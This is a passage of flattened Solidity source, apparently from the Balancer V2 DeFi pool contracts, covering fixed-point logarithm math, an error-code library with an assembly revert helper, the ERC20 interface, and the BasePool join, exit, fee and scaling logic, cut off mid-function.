7 + ... + z^(2 * n + 1) / (2 * n + 1)) // Recall that 20 digit fixed point division requires multiplying by ONE_20, and multiplication requires // division by ONE_20. int256 z = ((a - ONE_20) * ONE_20) / (a + ONE_20); int256 z_squared = (z * z) / ONE_20; // num is the numerator of the series: the z^(2 * n + 1) term int256 num = z; // seriesSum holds the accumulated sum of each term in the series, starting with the initial z int256 seriesSum = num; // In each step, the numerator is multiplied by z^2 num = (num * z_squared) / ONE_20; seriesSum += num / 3; num = (num * z_squared) / ONE_20; seriesSum += num / 5; num = (num * z_squared) / ONE_20; seriesSum += num / 7; num = (num * z_squared) / ONE_20; seriesSum += num / 9; num = (num * z_squared) / ONE_20; seriesSum += num / 11; // 6 Taylor terms are sufficient for 36 decimal precision. // Finally, we multiply by 2 (non fixed point) to compute ln(remainder) seriesSum *= 2; // We now have the sum of all x_n present, and the Taylor approximation of the logarithm of the remainder (both // with 20 decimals). All that remains is to sum these two, and then drop two digits to return a 18 decimal // value. return (sum + seriesSum) / 100; } /** * @dev Intrnal high precision (36 decimal places) natural logarithm (ln(x)) with signed 18 decimal fixed point argument, * for x close to one. * * Should only be used if x is between LN_36_LOWER_BOUND and LN_36_UPPER_BOUND. */ function _ln_36(int256 x) private pure returns (int256) { // Since ln(1) = 0, a value of x close to one will yield a very small result, which makes using 36 digits // worthwhile. // First, we transform x to a 36 digit fixed point value. x *= ONE_18; // We will use the following Taylor expansion, which converges very rapidly. Let z = (x - 1) / (x + 1). // ln(x) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1)) // Recall that 36 digit fixed point division requires multiplying by ONE_36, and multiplication requires // division by ONE_36. int256 z = ((x - ONE_36) * ONE_36) / (x + ONE_36); int256 z_squared = (z * z) / ONE_36; // num is the numerator of the series: the z^(2 * n + 1) term int256 num = z; // seriesSum holds the accumulated sum of each term in the series, starting with the initial z int256 seriesSum = num; // In each step, the numerator is multiplied by z^2 num = (num * z_squared) / ONE_36; seriesSum += num / 3; num = (num * z_squared) / ONE_36; seriesSum += num / 5; num = (num * z_squared) / ONE_36; seriesSum += num / 7; num = (num * z_squared) / ONE_36; seriesSum += num / 9; num = (num * z_squared) / ONE_36; seriesSum += num / 11; num = (num * z_squared) / ONE_36; seriesSum += num / 13; num = (num * z_squared) / ONE_36; seriesSum += num / 15; // 8 Taylor terms are sufficient for 36 decimal precision. // All that remains is multiplying by 2 (non fixed point). return seriesSum * 2; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; // solhint-disable /** * @dev Reverts if `condition` is false, with a revert reason containing `errorCode`. Only codes up to 999 are * supported. */ function _require(bool condition, uint256 errorCode) pure { if (!condition) _revert(errorCode); } /** * @dev Reverts with a revert reason containing `errorCode`. Only codes up to 999 are supported. */ function _revert(uint256 errorCode) pure { // We're going to dynamically create a revert string based on the error code, with the following format: // 'BAL#{errorCode}' // where the code is left-padded with zeroes to three digits (so they range from 000 to 999). // // We don't have revert strings embedded in the contract to save bytecode size: it takes much less space to store a // number (8 to 16 bits) than the individual string characters. // // The dynamic string creation algorithm that follows could be implemented in Solidity, but assembly allows for a // much denser implementation, again saving bytecode size. Given this function unconditionally reverts, this is a // safe place to rely on it without worrying about how its usage might affect e.g. memory contents. assembly { // First, we need to compute the ASCII representation of the error code. We assume that it is in the 0-999 // range, so we only need to convert three digits. To convert the digits to ASCII, we add 0x30, the value for // the '0' character. let units := add(mod(errorCode, 10), 0x30) errorCode := div(errorCode, 10) let tenths := add(mod(errorCode, 10), 0x30) errorCode := div(errorCode, 10) let hundreds := add(mod(errorCode, 10), 0x30) // With the individual characters, we can now construct the full string. The "BAL#" part is a known constant // (0x42414c23): we simply shift this by 24 (to provide space for the 3 bytes of the error code), and add the // characters to it, each shifted by a multiple of 8. // The revert reason is then shifted left by 200 bits (256 minus the length of the string, 7 characters * 8 bits // per character = 56) to locate it in the most significant part of the 256 slot (the beginning of a byte // array). let revertReason := shl(200, add(0x42414c23000000, add(add(units, shl(8, tenths)), shl(16, hundreds)))) // We can now encode the reason in memory, which can be safely overwritten as we're about to revert. The encoded // message will have the following layout: // [ revert reason identifier ] [ string location offset ] [ string length ] [ string contents ] // The Solidity revert reason identifier is 0x08c739a0, the function selector of the Error(string) function. We // also write zeroes to the next 28 bytes of memory, but those are about to be overwritten. mstore(0x0, 0x08c379a000000000000000000000000000000000000000000000000000000000) // Next is the offset to the location of the string, which will be placed immediately after (20 bytes away). mstore(0x04, 0x0000000000000000000000000000000000000000000000000000000000000020) // The string length is fixed: 7 characters. mstore(0x24, 7) // Finally, the string itself is stored. mstore(0x44, revertReason) // Even if the string is only 7 bytes long, we need to return a full 32 byte slot containing it. The length of // the encoded message is therefore 4 + 32 + 32 + 32 = 100. revert(0, 100) } } library Errors { // Math uint256 internal constant ADD_OVERFLOW = 0; uint256 internal constant SUB_OVERFLOW = 1; uint256 internal constant SUB_UNDERFLOW = 2; uint256 internal constant MUL_OVERFLOW = 3; uint256 internal constant ZERO_DIVISION = 4; uint256 internal constant DIV_INTERNAL = 5; uint256 internal constant X_OUT_OF_BOUNDS = 6; uint256 internal constant Y_OUT_OF_BOUNDS = 7; uint256 internal constant PRODUCT_OUT_OF_BOUNDS = 8; uint256 internal constant INVALID_EXPONENT = 9; // Input uint256 internal constant OUT_OF_BOUNDS = 100; uint256 internal constant UNSORTED_ARRAY = 101; uint256 internal constant UNSORTED_TOKENS = 102; uint256 internal constant INPUT_LENGTH_MISMATCH = 103; uint256 internal constant ZERO_TOKEN = 104; // Shared pools uint256 internal constant MIN_TOKENS = 200; uint256 internal constant MAX_TOKENS = 201; uint256 internal constant MAX_SWAP_FEE_PERCENTAGE = 202; uint256 internal constant MIN_SWAP_FEE_PERCENTAGE = 203; uint256 internal constant MINIMUM_BPT = 204; uint256 internal constant CALLER_NOT_VAULT = 205; uint256 internal constant UNINITIALIZED = 206; uint256 internal constant BPT_IN_MAX_AMOUNT = 207; uint256 internal constant BPT_OUT_MIN_AMOUNT = 208; uint256 internal constant EXPIRED_PERMIT = 209; uint256 internal constant NOT_TWO_TOKENS = 210; // Pools uint256 internal constant MIN_AMP = 300; uint256 internal constant MAX_AMP = 301; uint256 internal constant MIN_WEIGHT = 302; uint256 internal constant MAX_STABLE_TOKENS = 303; uint256 internal constant MAX_IN_RATIO = 304; uint256 internal constant MAX_OUT_RATIO = 305; uint256 internal constant MIN_BPT_IN_FOR_TOKEN_OUT = 306; uint256 internal constant MAX_OUT_BPT_FOR_TOKEN_IN = 307; uint256 internal constant NORMALIZED_WEIGHT_INVARIANT = 308; uint256 internal constant INVALID_TOKEN = 309; uint256 internal constant UNHANDLED_JOIN_KIND = 310; uint256 internal constant ZERO_INVARIANT = 311; uint256 internal constant ORACLE_INVALID_SECONDS_QUERY = 312; uint256 internal constant ORACLE_NOT_INITIALIZED = 313; uint256 internal constant ORACLE_QUERY_TOO_OLD = 314; uint256 internal constant ORACLE_INVALID_INDEX = 315; uint256 internal constant ORACLE_BAD_SECS = 316; uint256 internal constant AMP_END_TIME_TOO_CLOSE = 317; uint256 internal constant AMP_ONGOING_UPDATE = 318; uint256 internal constant AMP_RATE_TOO_HIGH = 319; uint256 internal constant AMP_NO_ONGOING_UPDATE = 320; uint256 internal constant STABLE_INVARIANT_DIDNT_CONVERGE = 321; uint256 internal constant STABLE_GET_BALANCE_DIDNT_CONVERGE = 322; uint256 internal constant RELAYER_NOT_CONTRACT = 323; uint256 internal constant BASE_POOL_RELAYER_NOT_CALLED = 324; uint256 internal constant REBALANCING_RELAYER_REENTERED = 325; uint256 internal constant GRADUAL_UPDATE_TIME_TRAVEL = 326; uint256 internal constant SWAPS_DISABLED = 327; uint256 internal constant CALLER_IS_NOT_LBP_OWNER = 328; uint256 internal constant PRICE_RATE_OVERFLOW = 329; // Lib uint256 internal constant REENTRANCY = 400; uint256 internal constant SENDER_NOT_ALLOWED = 401; uint256 internal constant PAUSED = 402; uint256 internal constant PAUSE_WINDOW_EXPIRED = 403; uint256 internal constant MAX_PAUSE_WINDOW_DURATION = 404; uint256 internal constant MAX_BUFFER_PERIOD_DURATION = 405; uint256 internal constant INSUFFICIENT_BALANCE = 406; uint256 internal constant INSUFFICIENT_ALLOWANCE = 407; uint256 internal constant ERC20_TRANSFER_FROM_ZERO_ADDRESS = 408; uint256 internal constant ERC20_TRANSFER_TO_ZERO_ADDRESS = 409; uint256 internal constant ERC20_MINT_TO_ZERO_ADDRESS = 410; uint256 internal constant ERC20_BURN_FROM_ZERO_ADDRESS = 411; uint256 internal constant ERC20_APPROVE_FROM_ZERO_ADDRESS = 412; uint256 internal constant ERC20_APPROVE_TO_ZERO_ADDRESS = 413; uint256 internal constant ERC20_TRANSFER_EXCEEDS_ALLOWANCE = 414; uint256 internal constant ERC20_DECREASED_ALLOWANCE_BELOW_ZERO = 415; uint256 internal constant ERC20_TRANSFER_EXCEEDS_BALANCE = 416; uint256 internal constant ERC20_BURN_EXCEEDS_ALLOWANCE = 417; uint256 internal constant SAFE_ERC20_CALL_FAILED = 418; uint256 internal constant ADDRESS_INSUFFICIENT_BALANCE = 419; uint256 internal constant ADDRESS_CANNOT_SEND_VALUE = 420; uint256 internal constant SAFE_CAST_VALUE_CANT_FIT_INT256 = 421; uint256 internal constant GRANT_SENDER_NOT_ADMIN = 422; uint256 internal constant REVOKE_SENDER_NOT_ADMIN = 423; uint256 internal constant RENOUNCE_SENDER_NOT_ALLOWED = 424; uint256 internal constant BUFFER_PERIOD_EXPIRED = 425; uint256 internal constant CALLER_IS_NOT_OWNER = 426; uint256 internal constant NEW_OWNER_IS_ZERO = 427; uint256 internal constant CODE_DEPLOYMENT_FAILED = 428; uint256 internal constant CALL_TO_NON_CONTRACT = 429; uint256 internal constant LOW_LEVEL_CALL_FAILED = 430; // Vault uint256 internal constant INVALID_POOL_ID = 500; uint256 internal constant CALLER_NOT_POOL = 501; uint256 internal constant SENDER_NOT_ASSET_MANAGER = 502; uint256 internal constant USER_DOESNT_ALLOW_RELAYER = 503; uint256 internal constant INVALID_SIGNATURE = 504; uint256 internal constant EXIT_BELOW_MIN = 505; uint256 internal constant JOIN_ABOVE_MAX = 506; uint256 internal constant SWAP_LIMIT = 507; uint256 internal constant SWAP_DEADLINE = 508; uint256 internal constant CANNOT_SWAP_SAME_TOKEN = 509; uint256 internal constant UNKNOWN_AMOUNT_IN_FIRST_SWAP = 510; uint256 internal constant MALCONSTRUCTED_MULTIHOP_SWAP = 511; uint256 internal constant INTERNAL_BALANCE_OVERFLOW = 512; uint256 internal constant INSUFFICIENT_INTERNAL_BALANCE = 513; uint256 internal constant INVALID_ETH_INTERNAL_BALANCE = 514; uint256 internal constant INVALID_POST_LOAN_BALANCE = 515; uint256 internal constant INSUFFICIENT_ETH = 516; uint256 internal constant UNALLOCATED_ETH = 517; uint256 internal constant ETH_TRANSFER = 518; uint256 internal constant CANNOT_USE_ETH_SENTINEL = 519; uint256 internal constant TOKENS_MISMATCH = 520; uint256 internal constant TOKEN_NOT_REGISTERED = 521; uint256 internal constant TOKEN_ALREADY_REGISTERED = 522; uint256 internal constant TOKENS_ALREADY_SET = 523; uint256 internal constant TOKENS_LENGTH_MUST_BE_2 = 524; uint256 internal constant NONZERO_TOKEN_BALANCE = 525; uint256 internal constant BALANCE_TOTAL_OVERFLOW = 526; uint256 internal constant POOL_NO_TOKENS = 527; uint256 internal constant INSUFFICIENT_FLASH_LOAN_BALANCE = 528; // Fees uint256 internal constant SWAP_FEE_PERCENTAGE_TOO_HIGH = 600; uint256 internal constant FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH = 601; uint256 internal constant INSUFFICIENT_FLASH_LOAN_FEE_AMOUNT = 602; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/math/Math.sol"; import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/InputHelpers.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/TemporarilyPausable.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/WordCodec.sol"; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ERC20.sol"; import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol"; import "@balancer-labs/v2-vault/contracts/interfaces/IBasePool.sol"; import "@balancer-labs/v2-asset-manager-utils/contracts/IAssetManager.sol"; import "./BalancerPoolToken.sol"; import "./BasePoolAuthorization.sol"; // solhint-disable max-states-count /** * @dev Reference implementation for the base layer of a Pool contract that manages a single Pool with optional * Asset Managers, an admin-controlled swap fee percentage, and an emergency pause mechanism. * * Note that neither swap fees nor the pause mechanism are used by this contract. They are passed through so that * derived contracts can use them via the `_addSwapFeeAmount` and `_subtractSwapFeeAmount` functions, and the * `whenNotPaused` modifier. * * No admin permissions are checked here: instead, this contract delegates that to the Vault's own Authorizer. * * Because this contract doesn't implement the swap hooks, derived contracts should generally inherit from * BaseGeneralPool or BaseMinimalSwapInfoPool. Otherwise, subclasses must inherit from the corresponding interfaces * and implement the swap callbacks themselves. */ abstract contract BasePool is IBasePool, BasePoolAuthorization, BalancerPoolToken, TemporarilyPausable { using WordCodec for bytes32; using FixedPoint for uint256; uint256 private constant _MIN_TOKENS = 2; // 1e18 corresponds to 1.0, or a 100% fee uint256 private constant _MIN_SWAP_FEE_PERCENTAGE = 1e12; // 0.0001% uint256 private constant _MAX_SWAP_FEE_PERCENTAGE = 1e17; // 10% uint256 private constant _MINIMUM_BPT = 1e6; // Storage slot that can be used to store unrelated pieces of information. In particular, by default is used // to store only the swap fee percentage of a pool. But it can be extended to store some more pieces of information. // The swap fee percentage is stored in the most-significant 64 bits, therefore the remaining 192 bits can be // used to store any other piece of information. bytes32 private _miscData; uint256 private constant _SWAP_FEE_PERCENTAGE_OFFSET = 192; IVault private immutable _vault; bytes32 private immutable _poolId; event SwapFeePercentageChanged(uint256 swapFeePercentage); constructor( IVault vault, IVault.PoolSpecialization specialization, string memory name, string memory symbol, IERC20[] memory tokens, address[] memory assetManagers, uint256 swapFeePercentage, uint256 pauseWindowDuration, uint256 bufferPeriodDuration, address owner ) // Base Pools are expected to be deployed using factories. By using the factory address as the action // disambiguator, we make all Pools deployed by the same factory share action identifiers. This allows for // simpler management of permissions (such as being able to manage granting the 'set fee percentage' action in // any Pool created by the same factory), while still making action identifiers unique among different factories // if the selectors match, preventing accidental errors. Authentication(bytes32(uint256(msg.sender))) BalancerPoolToken(name, symbol) BasePoolAuthorization(owner) TemporarilyPausable(pauseWindowDuration, bufferPeriodDuration) { _require(tokens.length >= _MIN_TOKENS, Errors.MIN_TOKENS); _require(tokens.length <= _getMaxTokens(), Errors.MAX_TOKENS); // The Vault only requires the token list to be ordered for the Two Token Pools specialization. However, // to make the developer experience consistent, we are requiring this condition for all the native pools. // Also, since these Pools will register tokens only once, we can ensure the Pool tokens will follow the same // order. We rely on this property to make Pools simpler to write, as it lets us assume that the // order of token-specific parameters (such as token weights) will not change. InputHelpers.ensureArrayIsSorted(tokens); _setSwapFeePercentage(swapFeePercentage); bytes32 poolId = vault.registerPool(specialization); vault.registerTokens(poolId, tokens, assetManagers); // Set immutable state variables - these cannot be read from during construction _vault = vault; _poolId = poolId; } // Getters / Setters function getVault() public view returns (IVault) { return _vault; } function getPoolId() public view override returns (bytes32) { return _poolId; } function _getTotalTokens() internal view virtual returns (uint256); function _getMaxTokens() internal pure virtual returns (uint256); function getSwapFeePercentage() public view returns (uint256) { return _miscData.decodeUint64(_SWAP_FEE_PERCENTAGE_OFFSET); } function setSwapFeePercentage(uint256 swapFeePercentage) external virtual authenticate whenNotPaused { _setSwapFeePercentage(swapFeePercentage); } function _setSwapFeePercentage(uint256 swapFeePercentage) private { _require(swapFeePercentage >= _MIN_SWAP_FEE_PERCENTAGE, Errors.MIN_SWAP_FEE_PERCENTAGE); _require(swapFeePercentage <= _MAX_SWAP_FEE_PERCENTAGE, Errors.MAX_SWAP_FEE_PERCENTAGE); _miscData = _miscData.insertUint64(swapFeePercentage, _SWAP_FEE_PERCENTAGE_OFFSET); emit SwapFeePercentageChanged(swapFeePercentage); } function setAssetManagerPoolConfig(IERC20 token, bytes memory poolConfig) public virtual authenticate whenNotPaused { _setAssetManagerPoolConfig(token, poolConfig); } function _setAssetManagerPoolConfig(IERC20 token, bytes memory poolConfig) private { bytes32 poolId = getPoolId(); (, , , address assetManager) = getVault().getPoolTokenInfo(poolId, token); IAssetManager(assetManager).setConfig(poolId, poolConfig); } function setPaused(bool paused) external authenticate { _setPaused(paused); } function _isOwnerOnlyAction(bytes32 actionId) internal view virtual override returns (bool) { return (actionId == getActionId(this.setSwapFeePercentage.selector)) || (actionId == getActionId(this.setAssetManagerPoolConfig.selector)); } function _getMiscData() internal view returns (bytes32) { return _miscData; } /** * Inserts data into the least-significant 192 bits of the misc data storage slot. * Note that the remaining 64 bits are used for the swap fee percentage and cannot be overloaded. */ function _setMiscData(bytes32 newData) internal { _miscData = _miscData.insertBits192(newData, 0); } // Join / Exit Hooks modifier onlyVault(bytes32 poolId) { _require(msg.sender == address(getVault()), Errors.CALLER_NOT_VAULT); _require(poolId == getPoolId(), Errors.INVALID_POOL_ID); _; } function onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) public virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) { uint256[] memory scalingFactors = _scalingFactors(); if (totalSupply() == 0) { (uint256 bptAmountOut, uint256[] memory amountsIn) = _onInitializePool( poolId, sender, recipient, scalingFactors, userData ); // On initialization, we lock _MINIMUM_BPT by minting it for the zero address. This BPT acts as a minimum // as it will never be burned, which reduces potential issues with rounding, and also prevents the Pool from // ever being fully drained. _require(bptAmountOut >= _MINIMUM_BPT, Errors.MINIMUM_BPT); _mintPoolTokens(address(0), _MINIMUM_BPT); _mintPoolTokens(recipient, bptAmountOut - _MINIMUM_BPT); // amountsIn are amounts entering the Pool, so we round up. _downscaleUpArray(amountsIn, scalingFactors); return (amountsIn, new uint256[](_getTotalTokens())); } else { _upscaleArray(balances, scalingFactors); (uint256 bptAmountOut, uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts) = _onJoinPool( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, scalingFactors, userData ); // Note we no longer use `balances` after calling `_onJoinPool`, which may mutate it. _mintPoolTokens(recipient, bptAmountOut); // amountsIn are amounts entering the Pool, so we round up. _downscaleUpArray(amountsIn, scalingFactors); // dueProtocolFeeAmounts are amounts exiting the Pool, so we round down. _downscaleDownArray(dueProtocolFeeAmounts, scalingFactors); return (amountsIn, dueProtocolFeeAmounts); } } function onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) public virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) { uint256[] memory scalingFactors = _scalingFactors(); _upscaleArray(balances, scalingFactors); (uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts) = _onExitPool( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, scalingFactors, userData ); // Note we no longer use `balances` after calling `_onExitPool`, which may mutate it. _burnPoolTokens(sender, bptAmountIn); // Both amountsOut and dueProtocolFeeAmounts are amounts exiting the Pool, so we round down. _downscaleDownArray(amountsOut, scalingFactors); _downscaleDownArray(dueProtocolFeeAmounts, scalingFactors); return (amountsOut, dueProtocolFeeAmounts); } // Query functions /** * @dev Returns the amount of BPT that would be granted to `recipient` if the `onJoinPool` hook were called by the * Vault with the same arguments, along with the number of tokens `sender` would have to supply. * * This function is not meant to be called directly, but rather from a helper contract that fetches current Vault * data, such as the protocol swap fee percentage and Pool balances. * * Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must * explicitly use eth_call instead of eth_sendTransaction. */ function queryJoin( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256 bptOut, uint256[] memory amountsIn) { InputHelpers.ensureInputLengthMatch(balances.length, _getTotalTokens()); _queryAction( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData, _onJoinPool, _downscaleUpArray ); // The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement, // and we don't need to return anything here - it just silences compiler warnings. return (bptOut, amountsIn); } /** * @dev Returns the amount of BPT that would be burned from `sender` if the `onExitPool` hook were called by the * Vault with the same arguments, along with the number of tokens `recipient` would receive. * * This function is not meant to be called directly, but rather from a helper contract that fetches current Vault * data, such as the protocol swap fee percentage and Pool balances. * * Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must * explicitly use eth_call instead of eth_sendTransaction. */ function queryExit( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256 bptIn, uint256[] memory amountsOut) { InputHelpers.ensureInputLengthMatch(balances.length, _getTotalTokens()); _queryAction( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData, _onExitPool, _downscaleDownArray ); // The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement, // and we don't need to return anything here - it just silences compiler warnings. return (bptIn, amountsOut); } // Internal hooks to be overridden by derived contracts - all token amounts (except BPT) in these interfaces are // upscaled. /** * @dev Called when the Pool is joined for the first time; that is, when the BPT total supply is zero. * * Returns the amount of BPT to mint, and the token amounts the Pool will receive in return. * * Minted BPT will be sent to `recipient`, except for _MINIMUM_BPT, which will be deducted from this amount and sent * to the zero address instead. This will cause that BPT to remain forever locked there, preventing total BTP from * ever dropping below that value, and ensuring `_onInitializePool` can only be called once in the entire Pool's * lifetime. * * The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will * be downscaled (rounding up) before being returned to the Vault. */ function _onInitializePool( bytes32 poolId, address sender, address recipient, uint256[] memory scalingFactors, bytes memory userData ) internal virtual returns (uint256 bptAmountOut, uint256[] memory amountsIn); /** * @dev Called whenever the Pool is joined after the first initialization join (see `_onInitializePool`). * * Returns the amount of BPT to mint, the token amounts that the Pool will receive in return, and the number of * tokens to pay in protocol swap fees. * * Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when * performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely. * * Minted BPT will be sent to `recipient`. * * The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will * be downscaled (rounding up) before being returned to the Vault. * * Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onJoinPool`). These * amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault. */ function _onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, uint256[] memory scalingFactors, bytes memory userData ) internal virtual returns ( uint256 bptAmountOut, uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts ); /** * @dev Called whenever the Pool is exited. * * Returns the amount of BPT to burn, the token amounts for each Pool token that the Pool will grant in return, and * the number of tokens to pay in protocol swap fees. * * Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when * performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely. * * BPT will be burnt from `sender`. * * The Pool will grant tokens to `recipient`. These amounts are considered upscaled and will be downscaled * (rounding down) before being returned to the Vault. * * Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onExitPool`). These * amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault. */ function _onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, uint256[] memory scalingFactors, bytes memory userData ) internal virtual returns ( uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts ); // Internal functions /** * @dev Adds swap fee amount to `amount`, returning a higher value. */ function _addSwapFeeAmount(uint256 amount) internal view returns (uint256) { // This returns amount + fee amount, so we round up (favoring a higher fee amount). return amount.divUp(FixedPoint.ONE.sub(getSwapFeePercentage())); } /** * @dev Subtracts swap fee amount from `amount`, returning a lower value. */ function _subtractSwapFeeAmount(uint256 amount) internal view returns (uint256) { // This returns amount - fee amount, so we round up (favoring a higher fee amount). uint256 feeAmount = amount.mulUp(getSwapFeePercentage()); return amount.sub(feeAmount); } // Scaling /** * @dev Returns a scaling factor that, when multiplied to a token amount for `token`, normalizes its balance as if * it had 18 decimals. */ function _computeScalingFactor(IERC20 token) internal view returns (uint256) { // Tokens that don't implement the `decimals` method are not supported. uint256 tokenDecimals = ERC20(address(token)).decimals(); // Tokens with more than 18 decimals are not supported. uint256 decimalsDifference = Math.sub(18, tokenDecimals); return FixedPoint.ONE * 10**decimalsDifference; } /** * @dev Returns the scaling factor for one of the Pool's tokens. Reverts if `token` is not a token registered by the * Pool. * * All scaling factors are fixed-point values with 18 decimals, to allow for this function to be overridden by * derived contracts that need to apply further scaling, making these factors potentially non-integer. * * The largest 'base' scaling factor (i.e. in tokens with less than 18 decimals) is 10**18, which in fixed-point is * 10**36. This value can be multiplied with a 112 bit Vault balance with no overflow by a factor of ~1e7, making * even relatively 'large' factors safe to use. * * The 1e7 figure is the result of 2**256 / (1e18 * 1e18 * 2**112). */ function _scalingFactor(IERC20 token) internal view virtual returns (uint256); /** * @dev Same as `_scalingFactor()`, except for all registered tokens (in the same order as registered). The Vault * will always pass balances in this order when calling any of the Pool hooks. */ function _scalingFactors() internal view virtual returns (uint256[] memory); function getScalingFactors() external view returns (uint256[] memory) { return _scalingFactors(); } /** * @dev Applies `scalingFactor` to `amount`, resulting in a larger or equal value depending on whether it needed * scaling or not. */ function _upscale(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { // Upscale rounding wouldn't necessarily always go in the same direction: in a swap for example the balance of // token in should be rounded up, and that of token out rounded down. This is the only place where we round in // the same direction for all amounts, as the impact of this rounding is expected to be minimal (and there's no // rounding error unless `_scalingFactor()` is overriden). return FixedPoint.mulDown(amount, scalingFactor); } /** * @dev Same as `_upscale`, but for an entire array. This function does not return anything, but instead *mutates* * the `amounts` array. */ function _upscaleArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { amounts[i] = FixedPoint.mulDown(amounts[i], scalingFactors[i]); } } /** * @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on * whether it needed scaling or not. The result is rounded down. */ function _downscaleDown(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return FixedPoint.divDown(amount, scalingFactor); } /** * @dev Same as `_downscaleDown`, but for an entire array. This function does not return anything, but instead * *mutates* the `amounts` array. */ function _downscaleDownArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { amounts[i] = FixedPoint.divDown(amounts[i], scalingFactors[i]); } } /** * @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on * whether it needed scaling or not. The result is rounded up. */ function _downscaleUp(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return 